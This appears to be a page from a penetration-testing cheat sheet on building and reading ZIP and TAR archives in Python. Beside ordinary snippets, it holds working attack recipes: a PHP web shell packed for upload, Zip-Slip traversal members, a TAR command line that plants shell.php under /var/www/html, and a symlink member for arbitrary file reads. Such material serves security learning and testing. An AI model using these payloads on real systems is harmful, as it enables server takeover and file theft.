Skip to content
Archives

Archives

Building and reading ZIP and TAR files, including Zip-Slip and symlink-traversal archives.

Create a ZIP / write entries

A ZIP archive contains named members. writestr(name, data) creates a member directly from bytes or text already held in memory, while write(path, arcname=...) reads an existing local file and stores it under the member name selected by arcname.

import io
import zipfile

# write to disk
with zipfile.ZipFile("out.zip", "w", zipfile.ZIP_DEFLATED) as archive:
    archive.writestr("payload.php", "<?php system($_GET['c']); ?>")
    archive.write("local.txt", arcname="readme.txt")

# build entirely in memory (upload without touching disk)
archive_buffer = io.BytesIO()
with zipfile.ZipFile(archive_buffer, "w") as archive:
    archive.writestr("payload.txt", "data")
archive_buffer.seek(0)

files = {
    "file": ("payload.zip", archive_buffer, "application/zip")
}

io.BytesIO() is an in-memory binary file object. ZipFile writes into it as though it were a disk file, and seek(0) moves its read position back to the beginning before requests uploads it.

Find by: zip, zipfile, create archive, compress, writestr, write, archive, package, build zip, in memory, gap

Zip-Slip — path-traversal archive

Zip Slip is an arbitrary-file-write primitive in an extraction path. The archive member name contains ../ components. A vulnerable extraction implementation joins that name to its destination directory without first confirming that the resolved path remains inside the destination.

import zipfile

with zipfile.ZipFile("payload.zip", "w") as archive:
    archive.writestr("../../../../<TARGET_PATH>", "<FILE_CONTENT>")

Creating the archive only stores the malicious member name. The write occurs later, when the target’s vulnerable extractor processes that member. The traversal depth and destination path must match the extraction directory and desired target file.

Find by: zip slip, path traversal, malicious zip, arbitrary write, extract, dot dot, overwrite, webshell, exploit, gap, directory escape

Malicious TAR — traversal & symlink

tar.add() reads the local file selected by file_to_archive. Its arcname argument controls the member name stored in the TAR archive. A vulnerable target extractor that trusts a traversal member name can write that file outside its intended extraction directory.

import sys
import tarfile

file_to_archive = sys.argv[1]
name_inside_archive = sys.argv[2]

with tarfile.open("payload.tar.gz", "w:gz") as tar:
    tar.add(file_to_archive, arcname=name_inside_archive)
python3 tar_archive.py shell.php ../../../../var/www/html/shell.php

A symbolic-link member stores a link target instead of regular file content. If the target extractor creates that link and the application later reads or serves it, the link can redirect the read to a file outside the extraction directory.

import tarfile

with tarfile.open("payload.tar.gz", "w:gz") as tar:
    link_member = tarfile.TarInfo("loot.txt")
    link_member.type = tarfile.SYMTYPE
    link_member.linkname = "<ABSOLUTE_FILE_PATH>"
    tar.addfile(link_member)

TarInfo represents one archive member. Setting type to SYMTYPE marks it as a symbolic link, and linkname stores the filesystem path that the extracted link references.

Find by: tar, tarfile, symlink, path traversal, arbitrary read, arbitrary write, malicious archive, extract, exploit, gap, link

Read / extract a ZIP

namelist() returns the stored member names. read(name) returns one member’s uncompressed bytes without writing it to disk. extractall() writes every member beneath the selected output directory when the archive is being inspected locally.

import zipfile

with zipfile.ZipFile("in.zip") as archive:
    member_names = archive.namelist()
    print(member_names)
    data = archive.read("config.php")
    archive.extractall("out/")

List TAR archive members

The r:* mode opens a TAR archive for reading and automatically detects no compression, gzip, bzip2, or xz compression. getmembers() returns TarInfo objects; each object’s name attribute contains its stored path.

import sys
import tarfile

archive = sys.argv[1]

with tarfile.open(archive, "r:*") as tar:
    for member in tar.getmembers():
        print(member.name)

Read a file from a TAR archive

extractfile() opens one regular archive member without extracting the archive to disk.

import sys
import tarfile

archive = sys.argv[1]
file_to_read = sys.argv[2]

with tarfile.open(archive, "r:*") as tar:
    archived_file = tar.extractfile(file_to_read)
    data = archived_file.read()
    print(data.decode())

Find by: zip, tar, extract, read archive, namelist, extractall, list contents, unpack, open archive, gap, inspect